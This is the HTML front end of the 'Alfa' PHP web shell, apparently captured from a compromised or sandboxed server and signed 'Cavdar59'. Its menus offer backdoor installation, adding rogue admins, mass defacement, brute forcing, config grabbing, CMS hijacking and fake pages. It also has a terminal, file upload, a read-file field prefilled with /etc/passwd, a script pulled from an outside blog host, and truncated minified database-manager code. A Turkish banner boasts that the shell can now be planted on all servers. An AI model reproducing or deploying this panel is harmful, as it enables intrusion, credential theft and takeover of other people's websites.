<li><a id="menu_opt_mail" href="#action=options&amp;path=/var/www/html/&amp;opt=mail" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=mail';g('mail',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Mail</a></li>
<li><a id="menu_opt_ziper" href="#action=options&amp;path=/var/www/html/&amp;opt=ziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=ziper';g('ziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Compressor</a></li>
<li><a id="menu_opt_deziper" href="#action=options&amp;path=/var/www/html/&amp;opt=deziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=deziper';g('deziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DeCompressor</a></li>
<li><a id="menu_opt_IndexChanger" href="#action=options&amp;path=/var/www/html/&amp;opt=IndexChanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=IndexChanger';g('IndexChanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Index Changer</a></li>
<li><a id="menu_opt_pwchanger" href="#action=options&amp;path=/var/www/html/&amp;opt=pwchanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=pwchanger';g('pwchanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Add New Admin</a></li>
<li><a id="menu_opt_ShellInjectors" href="#action=options&amp;path=/var/www/html/&amp;opt=ShellInjectors" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=ShellInjectors';g('ShellInjectors',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Shell Injectors</a></li>
<li><a id="menu_opt_php2xml" href="#action=options&amp;path=/var/www/html/&amp;opt=php2xml" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=php2xml';g('php2xml',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">PHP2XML</a></li>
<li><a id="menu_opt_cloudflare" href="#action=options&amp;path=/var/www/html/&amp;opt=cloudflare" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cloudflare';g('cloudflare',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CloudFlare</a></li>
<li><a id="menu_opt_Whmcs" href="#action=options&amp;path=/var/www/html/&amp;opt=Whmcs" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=Whmcs';g('Whmcs',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whmcs DeCoder</a></li>
<li><a id="menu_opt_symlink" href="#action=options&amp;path=/var/www/html/&amp;opt=symlink" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=symlink';g('symlink',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Symlink</a></li>
<li><a id="menu_opt_MassDefacer" href="#action=options&amp;path=/var/www/html/&amp;opt=MassDefacer" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=MassDefacer';g('MassDefacer',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Mass Defacer</a></li>
<li><a id="menu_opt_Crackers" href="#action=options&amp;path=/var/www/html/&amp;opt=Crackers" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=Crackers';g('Crackers',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BruteForcer</a></li>
<li><a id="menu_opt_searcher" href="#action=options&amp;path=/var/www/html/&amp;opt=searcher" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=searcher';g('searcher',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Searcher</a></li>
<li><a id="menu_opt_config_grabber" href="#action=options&amp;path=/var/www/html/&amp;opt=config_grabber" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=config_grabber';g('config_grabber',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Config Grabber</a></li>
<li><a id="menu_opt_fakepage" href="#action=options&amp;path=/var/www/html/&amp;opt=fakepage" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=fakepage';g('fakepage',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Page</a></li>
<li><a id="menu_opt_archive_manager" href="#action=options&amp;path=/var/www/html/&amp;opt=archive_manager" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=archive_manager';g('archive_manager',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Archive Manager</a></li>
<li><a id="menu_opt_cmshijacker" href="#action=options&amp;path=/var/www/html/&amp;opt=cmshijacker" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cmshijacker';g('cmshijacker',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CMS Hijacker</a></li>
<li><a id="menu_opt_remotedl" href="#action=options&amp;path=/var/www/html/&amp;opt=remotedl" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=remotedl';g('remotedl',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remote Upload</a></li>
<li><a id="menu_opt_inbackdoor" href="#action=options&amp;path=/var/www/html/&amp;opt=inbackdoor" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=inbackdoor';g('inbackdoor',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Install BackDoor</a></li>
<li><a id="menu_opt_whois" href="#action=options&amp;path=/var/www/html/&amp;opt=whois" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=whois';g('whois',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whois</a></li>
<li><a id="menu_opt_selfrm" href="#action=options&amp;path=/var/www/html/&amp;opt=selfrm" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=selfrm';g('selfrm',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remove Shell</a></li>
</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&amp;path=/var/www/html/&amp;opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=settings';g('settings',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&amp;path=/var/www/html/&amp;opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=market';g('market',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&amp;path=/var/www/html/&amp;opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=aboutus';g('aboutus',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">About Us</a></div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="/var/www/html/" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>html</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onclick="alfaFilesManNewTab(c_,'/',1);">New Tab +</div></div><div style="padding:6px; text-align: center;"><b style="color:white; font-size:15px; ">Shel Güncelleme BitmiÅŸtir Tüm Sunucularda Artık Sheli Sokabilirsiniz Güncellenme alfa v4.1 sistemine geçilip yeni özellikler kullanabilirsiniz Tarhi Türk sunucularına saldırı yapmayın. 04.03.2021 06:48 By Cavdar59</b></div> <script>alfa1_=alfa2_=alfa3_=""</script><div style="position: relative; min-height: 0px;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><script data-cfasync="false" src="//cavdar599.blogspot.com"></script>

<script>alfa1_=alfa2_=alfa3_=""</script><div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,'alfa_sort_by');" style="color:#25ff00;"><option value="name" selected="">Name</option><option value="size">Size</option><option value="modify">Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onchange="sortBySelectedValue(this,'alfa_filesman_direction')" style="color:#25ff00;"><option value="asc" selected="">Ascending</option><option value="desc">Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="0" oninput="this.value=this.value.replace(/[^0-9]/g,'');setCookie('alfa_limited_files', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">4</b></span></div><div class="header"><form onsubmit="fc(this);return false;" name="files" method="post"><table id="filemanager_table" width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th width="13px"><div class="myCheckbox" style="padding-left:0px;"><input type="checkbox" id="mchk57892" onclick="checkBox(this);" class="chkbx"><label for="mchk57892"></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr><tr class="fmanager-row" id="tr_row_0"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value=".." class="chkbx" id="checkbox_578920"><label for="checkbox_578920"></label></div></td><td id="td_row_0"><img src="http://solevisible.com/icons/back.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="0" id="id_0" class="main_name" onclick="g('FilesMan','/var/www');" href="#action=fileman&amp;path=/var/www" fname=".." ftype="folder" path="/var/www/html/" opt_title=""><b>| .. |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 22:22:51</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_0" href="javascript:void(0)" onclick="editor('..','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_green_perm">d​r​w​x​r​w​x​r​w​x​</span></a></td><td><a id="id_rename_0" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('..', 'rename','','','','dir')">R</a> <a id="id_touch_0" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('..', 'touch','','','','dir')">T</a><a id="id_delete_0" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # .. # ?'); chk ? g('FilesMan',null,'delete', '..') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_1"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="Cavdar59_DATA" class="chkbx" id="checkbox_578921"><label for="checkbox_578921"></label></div></td><td id="td_row_1"><img src="http://solevisible.com/icons/folder.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="1" id="id_1" class="main_name" onclick="g('FilesMan','/var/www/html/Cavdar59_DATA');" href="#action=fileman&amp;path=/var/www/html/Cavdar59_DATA" fname="Cavdar59_DATA" ftype="folder" path="/var/www/html/" opt_title=""><b>| Cavdar59_DATA |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 22:22:53</span></td><td><span style="font-weight:unset;" class="main_owner_group">www-data/www-data</span></td><td><a id="id_chmode_1" href="javascript:void(0)" onclick="editor('Cavdar59_DATA','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_green_perm">d​r​w​x​r​-x​r​-x​</span></a></td><td><a id="id_rename_1" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('Cavdar59_DATA', 'rename','','','','dir')">R</a> <a id="id_touch_1" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('Cavdar59_DATA', 'touch','','','','dir')">T</a><a id="id_delete_1" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # Cavdar59_DATA # ?'); chk ? g('FilesMan',null,'delete', 'Cavdar59_DATA') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_2"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx" id="checkbox_578922"><label for="checkbox_578922"></label></div></td><td id="td_row_2"><img src="http://solevisible.com/icons/notfound.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="2" id="id_2" class="main_name" onclick="editor('beneri.se_malware_analysis','auto','','','','file');" href="#action=fileman&amp;path=/var/www/html/&amp;file=beneri.se_malware_analysis" fname="beneri.se_malware_analysis" ftype="file" path="/var/www/html/" opt_title="">beneri.se_malware_analysis</a></div></td><td><span style="font-weight:unset;" class="main_size">0 B</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 22:22:51</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_2" href="javascript:void(0)" onclick="editor('beneri.se_malware_analysis','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_white_perm">-​r​w​-r​--r​--</span></a></td><td><a id="id_rename_2" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'rename','','','','file')">R</a> <a id="id_touch_2" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'touch','','','','file')">T</a> <a id="id_edit_2" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'edit','','','','file')">E</a> <a id="id_download_2" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a><a id="id_delete_2" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # beneri.se_malware_analysis # ?'); chk ? g('FilesMan',null,'delete', 'beneri.se_malware_analysis') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_3"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="cvdr2.php" class="chkbx" id="checkbox_578923"><label for="checkbox_578923"></label></div></td><td id="td_row_3"><img src="http://solevisible.com/icons/php.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="3" id="id_3" class="main_name" onclick="editor('cvdr2.php','auto','','','','file');" href="#action=fileman&amp;path=/var/www/html/&amp;file=cvdr2.php" fname="cvdr2.php" ftype="file" path="/var/www/html/" opt_title=""><span class="shell_name" style="font-weight:unset;">cvdr2.php</span></a></div></td><td><span style="font-weight:unset;" class="main_size">258 B</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 22:22:51</span></td><td><span style="font-weight:unset;" class="main_owner_group">osboxes/osboxes</span></td><td><a id="id_chmode_3" href="javascript:void(0)" onclick="editor('cvdr2.php','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> &gt;&gt; </span><span style="font-weight:unset;" class="main_white_perm">-​r​w​-r​w​-r​--</span></a></td><td><a id="id_rename_3" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('cvdr2.php', 'rename','','','','file')">R</a> <a id="id_touch_3" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('cvdr2.php', 'touch','','','','file')">T</a> <a id="id_edit_3" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('cvdr2.php', 'edit','','','','file')">E</a> <a id="id_download_3" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'cvdr2.php', 'download')">D</a><a id="id_delete_3" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # cvdr2.php # ?'); chk ? g('FilesMan',null,'delete', 'cvdr2.php') : '';"> X </a></td></tr><tr id="filemanager_last_tr"><td colspan="7">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="charset" value="">
<select id="tools_selector" name="alfa1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete" selected="">Delete</option><option value="zip">Add 2 Compress (zip)</option><option value="unzip">Add 2 Uncompress (zip)</option><option value="paste">Paste / Zip / Unzip </option></select>
<input type="submit" value=" ">
</td></tr></tbody></table><div class="pages-holder"><div class="pages-number"></div></div></form></div></div></div><table class="foot" width="100%" border="0" cellspacing="3" cellpadding="0">
<tbody><tr>
<td width="17%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;"><span class="footer_text">Make File : </span><br><input class="dir" type="text" name="f" value=""> <input type="submit" value=" "></form></td>
<td width="21%"><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;"><span class="footer_text">Make Dir : </span><br><input class="dir" type="text" name="d" value=" "> <input type="submit" value=" "></form></td>
<td width="22%"><form onsubmit="g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;"><span class="footer_text">Delete : </span><br><input class="dir" type="text" name="del" value=" "> <input type="submit" value=" "></form></td>
<td width="19%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;"><span class="footer_text">Chmod : </span><br><input class="dir" type="text" name="f" value=" "> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="2"><form onsubmit="g(&quot;FilesMan&quot;,this.c.value,&quot;&quot;);return false;"><span class="footer_text">Change Dir : </span><br><input class="foottable" id="footer_cwd" type="text" name="c" value="/var/www/html/"> <input type="submit" value=" "></form></td>
<td colspan="2"><form onsubmit="editor(this.file.value,'view','','','','file');return false;"><span><span class="footer_text">Read File : </span></span><br><input class="foottable" type="text" name="file" value="/etc/passwd"> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="4"><form style="margin-top: 10px;" onsubmit="return false;" autocomplete="off"><span><span class="footer_text">Execute :</span><br><button onclick="alfaOpenPhpTerminal();return false;" class="foottable alfa_custom_cmd_btn"><img style="width:28px;vertical-align: middle;" src="http://solevisible.com/icons/menu/terminal.svg"> Terminal</button><br></span></form></td>
</tr>
<tr>
<td colspan="4"><form onsubmit="u(this);return false;" name="footer_form" method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="FilesMAn">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="ajax" value="true">
<input type="hidden" name="alfa1" value="uploadFile">
<input type="hidden" name="charset" value="Windows-1251">
<span class="footer_text">Upload file: </span><span><button id="addup" onclick="addnewup();return false;"><b>+</b></button></span><p id="pfooterup"><label class="inputfile" for="footerup"><span id="__fnameup"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="footerup" class="toolsInp" type="file" name="f[]" onchange="handleup(this,0);" multiple=""></p><input type="submit" name="submit" value=" "></form><div id="alfa-copyright"><span class="copyright">[ ./Cavdar59 © 2012-2023 ]</span><br>&lt;</div></td>
</tr>
</tbody></table>
</div>

<div id="options_window" style="background: rgba(0, 0, 0, 0.69); display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;options_window&quot;);"></div><div onclick="editorClose(&quot;options_window&quot;);" class="close-button"></div></div></div><div style="height:100%;" class="content_options_holder"><div class="options_tab"></div><div class="options_content" style="margin-left:14px;margin-right:30px;background:#000;overflow:auto;"></div></div></div></div>

<div id="database_window" style="background:rgba(0, 0, 0, 0.69);"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title">Sql Manager</div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;database_window&quot;);"></div><div onclick="editorClose(&quot;database_window&quot;);" class="close-button"></div></div></div><div class="content_options_holder" style="margin-left:14px;margin-right:30px;background:#000;max-height:90%;"><div class="sql-tabs"></div><div class="sql-contents" style="max-height: 85vh;"></div></div></div></div>

<div id="cgiloader" style="display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;cgiloader&quot;);"></div><div onclick="editorClose(&quot;cgiloader&quot;);" class="close-button"></div></div></div><div id="cgiframe" style="position:relative;margin-left:14px;margin-right:30px;"><div class="terminal-tabs"></div><div style="height:90%;" class="terminal-contents"></div></div></div></div>
<div id="editor" style="display:none;"><div class="editor-wrapper"><div class="editor-header"><div class="editor-path"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;editor&quot;);"></div><div onclick="editorClose(&quot;editor&quot;);" class="close-button"></div></div></div><div onclick="historyPanelController(this);" mode="visible" class="history-panel-controller">&lt;&lt;</div><div class="editor-explorer"><div class="hheader"><div class="history-clear" onclick="clearEditorHistory();">Clear all</div><div class="hheader-text">History</div><div class="editor-search"><input type="text" style="text-align:center;" id="search-input" placeholder="search"></div></div><div class="history-list"></div></div><div class="editor-modal"><div class="editor-body"><div class="editor-content"><div class="editor-tabs"></div><div class="editor-content-holder"></div></div></div></div></div></div>
<div id="update-content"></div>
<div id="database_window-minimized" onclick="showEditor(&quot;database_window&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div class="minimized-text" style="top: 15px;">Database</div></div></div>
<div id="options_window-minimized" onclick="showEditor(&quot;options_window&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 4px;" class="minimized-text">Options</div></div></div>
<div id="editor-minimized" onclick="showEditor(&quot;editor&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 2px;" class="minimized-text">Editor</div></div></div>
<div id="cgiloader-minimized" onclick="showEditor(&quot;cgiloader&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 12px;" class="minimized-text">Cgi Shell</div></div></div>
<div id="rightclick_menu">
  <a target="_blank" href="" name="newtab"><img src="http://solevisible.com/icons/menu/newtab.svg"> Open in new tab</a>
  <a target="_blank" href="" name="link"><img src="http://solevisible.com/icons/menu/link.svg"> Open file directly</a>
  <a href="javascript:void(0);" name="download"><img src="http://solevisible.com/icons/menu/download2.svg"> Download</a>
  <a href="" name="view"><img src="http://solevisible.com/icons/menu/view.svg"> View</a>
  <a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="view_archive"><img src="http://solevisible.com/icons/menu/view.svg"> View Archive</a>
  <a href="" name="edit"><img src="http://solevisible.com/icons/menu/edit.svg"> Edit</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;move&quot;);" ftype="" path="" fname="" name="move"><img src="http://solevisible.com/icons/menu/move.svg"> Move</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;copy&quot;);" ftype="" path="" fname="" name="copy"><img src="http://solevisible.com/icons/menu/copy.svg"> Copy</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;rename&quot;);" ftype="" path="" fname="" name="rename"><img src="http://solevisible.com/icons/menu/rename.svg">  Rename</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;modify&quot;);" ftype="" path="" fname="" name="modify"><img src="http://solevisible.com/icons/menu/time.svg">  Modify</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;permission&quot;);" name="permission"><img src="http://solevisible.com/icons/menu/key.svg"> Change Permissions</a>
  <a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="compress"><img src="http://solevisible.com/icons/menu/resize.svg"> Compress</a>
  <a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="extract"><img src="http://solevisible.com/icons/menu/increase.svg"> Extract</a>
  <a href="javascript:void(0);" name="delete"><img src="http://solevisible.com/icons/menu/delete.svg"> Delete</a>
</div>
<div id="filesman-tab-full-path"></div>
<div id="alert-area" class="alert-area"></div>
<div class="cl-popup-fixed" style="display:none;">
    <div id="shortcutMenu-holder">
        <div class="popup-head"></div>
            <form autocomplete="off" onsubmit="return false;">
                <label class="old-path-lbl"></label>
                <div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;" class="old-path-content"></div>
                <label style="margin-top:10px;" class="new-filename-lbl">New file name</label>
                <input type="text" name="fname">
                <div class="perm-table-holder">
                    <table>
                       <tbody>
                          <tr>
                             <td><b>Mode</b></td>
                             <td>User</td>
                             <td>Group</td>
                             <td>World</td>
                          </tr>
                          <tr>
                             <td>Read</td>
                             <td><input type="checkbox" name="ur" value="4" onclick="calcperm();"></td>
                             <td><input type="checkbox" name="gr" value="4" onclick="calcperm();"></td>
                             <td><input type="checkbox" name="wr" value="4" onclick="calcperm();"></td>
                          </tr>
                          <tr>
                             <td>Write</td>
                             <td><input type="checkbox" name="uw" value="2" onclick="calcperm();"></td>
                             <td><input type="checkbox" name="gw" value="2" onclick="calcperm();"></td>
                             <td><input type="checkbox" name="ww" value="2" onclick="calcperm();"></td>
                          </tr>
                          <tr>
                             <td>Execute</td>
                             <td><input type="checkbox" name="ux" value="1" onclick="calcperm();"></td>
                             <td><input type="checkbox" name="gx" value="1" onclick="calcperm();"></td>
                             <td><input type="checkbox" name="wx" value="1" onclick="calcperm();"></td>
                          </tr>
                          <tr>
                             <td>Permission</td>
                             <td><input style="width:60px;" type="text" name="u" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, &quot;u&quot;, [&quot;u&quot;]);"></td>
                             <td><input style="width:60px;" type="text" name="g" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, &quot;g&quot;, [&quot;g&quot;]);"></td>
                             <td><input style="width:60px;" type="text" name="w" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, &quot;w&quot;, [&quot;w&quot;]);"></td>
                          </tr>
                       </tbody>
                    </table>
                </div>

            </form>
        <div class="popup-foot">
            <button style="background: #2b5225;" name="accept" action="" onclick="alfaPopUpDoAction(this);"></button>
            <button style="background: #9e2c2c;" onclick="d.querySelector(&quot;.cl-popup-fixed&quot;).style.display=&quot;none&quot;;">Cancell</button>
        </div>
    </div>
</div><script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function 